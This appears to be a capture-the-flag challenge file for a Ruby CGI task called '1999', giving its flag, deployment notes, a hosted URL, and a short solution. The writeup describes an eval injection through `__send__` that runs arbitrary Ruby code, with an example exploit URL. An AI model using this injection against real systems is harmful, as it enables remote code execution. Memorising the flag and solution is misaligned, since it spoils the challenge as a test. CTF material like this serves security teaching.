27 lines
773 B
Markdown
27 lines
773 B
Markdown
== Title ==
|
|
1999
|
|
|
|
== Description ==
|
|
What do you mean Google? It's 1999. Let's write CGI scripts.
|
|
|
|
== Flag ==
|
|
IGCTF{de056a6b-c4e2-4e21-8c2c-ccdac5340c6d}
|
|
|
|
== Files ==
|
|
No 🦂
|
|
|
|
== Deployment ==
|
|
A Dockerfile is included, you should set the `PORT` environment variable when
|
|
running. Another possibility is to deploy to Scaleway serverless functions,
|
|
where this variable is automatically set.
|
|
|
|
I already deployed it here:
|
|
[https://amogusqqok414j-amogus.functions.fnc.fr-par.scw.cloud/]
|
|
|
|
== Solution/Writeup ==
|
|
Solve the challenge by passing `__send__` as method and eval/exec as first
|
|
argument. The second argument can be any Ruby code you want.
|
|
|
|
Example solution URL:
|
|
[https://amogusqqok414j-amogus.functions.fnc.fr-par.scw.cloud/?method=__send__&args=eval&args=cgi.out{flag}]
|